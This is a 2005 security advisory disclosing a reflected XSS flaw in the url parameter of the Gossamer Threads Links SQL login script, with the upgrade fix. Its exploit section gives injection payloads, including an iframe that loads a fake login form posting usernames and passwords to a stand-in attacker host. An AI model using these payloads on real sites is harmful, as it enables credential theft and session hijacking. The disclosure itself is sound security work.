Gossamer Threads Links SQL login XSS Vulnerability

Class 
Input Validation XSS

Remote	Local	Published / Updated
Yes	Yes	04th May 2005

Vulnerable
Vulnerable: Gossamer Threads Links SQL v3.0
   + Links SQL 2.x
   + Links SQL 2.2.x
   + Links SQL 3.0


Not Vulnerable
-

Discussion
Links SQL is a perl/mod_perl/PHP web application written by Gossamer Threads and is used to build any type of directory. Although designed to manage links, Links SQL is very customisable and is used all over the Internet for a wide range of tasks such as Image Galleries, Press Releases, Yellowpages, Company Directories, and other categorised databases. 

The URL variable in the Gossamer Threads Links SQL login page (user.cgi) is a hidden field in the login form and can be passed directly to user.cgi in the form of user.cgi?url="xyz"
The URL variable is client side input created by the browser when a user clicks on a link which requires authentication.
After authentication the user is redirected to the URL in the URL variable. 
This URL variable does not sufficiently validate the client side input and is therefore vulnerable to script injection and cross site scripting (XSS) attacks. 


Exploit
This is a standard XSS vulnerability.

Note an attacker would normally obfuscate the linking code but for these examples I have made it simple for the sake of understanding.

Simple Example 1 (Pop up)
/user.cgi?url=">&lt;script&gt;alert("XSS Vulnerability")&lt;/script&gt;<"&from=rate

Resulting in the following within the HTML being injected:
<input type="hidden" name="url" value="">&lt;script&gt;alert("XSS Vulnerability")&lt;/script&gt;<"" />


Simple Example 2 (iframe to steal username and password)
/user.cgi?url="><iframe%20src="http://www.stationx.net/linksql.html"%20scrolling="No"%20align="MIDDLE"%20width="100%"%20height="3000"%20frameborder="No"></iframe><!--&from=rate


Example 2 produces an invisible iframe presenting a fake login screen to collect usernames and passwords with the following HTML injected;
<form action="http://hacker.com/getusernameandpassword.cgi" method="post">

The &lt;script&gt; content is limited by the imagination of the attacker and the above are just two examples.

Like all XSS vulnerabilities this is a user attack only and not an attack on the system (Links SQL). Although if the user happens to be the links sql moderator/admin this user attack could be used to escalate privilege to then attack links sql.

To exploit this XSS vulnerability the victim must be tricked into making the above or other carefully crafted HTTP request. There are several ways users can be tricked to do this but common methods include via a link in an HTML aware email, a web based forum (Gossamer Threads forum) or embedded in a malicious web page.

XSS attacks are often demonstrated harvesting cookies to perform session hijacking and gather other sensitive information.


Solution
A new release has been created to fix this problem. Upgrade to Gossamer Links 3.0.1

http://www.gossamer-threads.com/forum/Gossamer_Links_3.0.1_Released_P280986/

http://gossamer-threads.com/perl/gforum/gforum.cgi?post=281029;


Credit
Nathan House @ StationX


References
http://www.stationx.net
http://www.stationx.net/advisories.php
http://www.gossamer-threads.com/scripts/links-sql/index.htm




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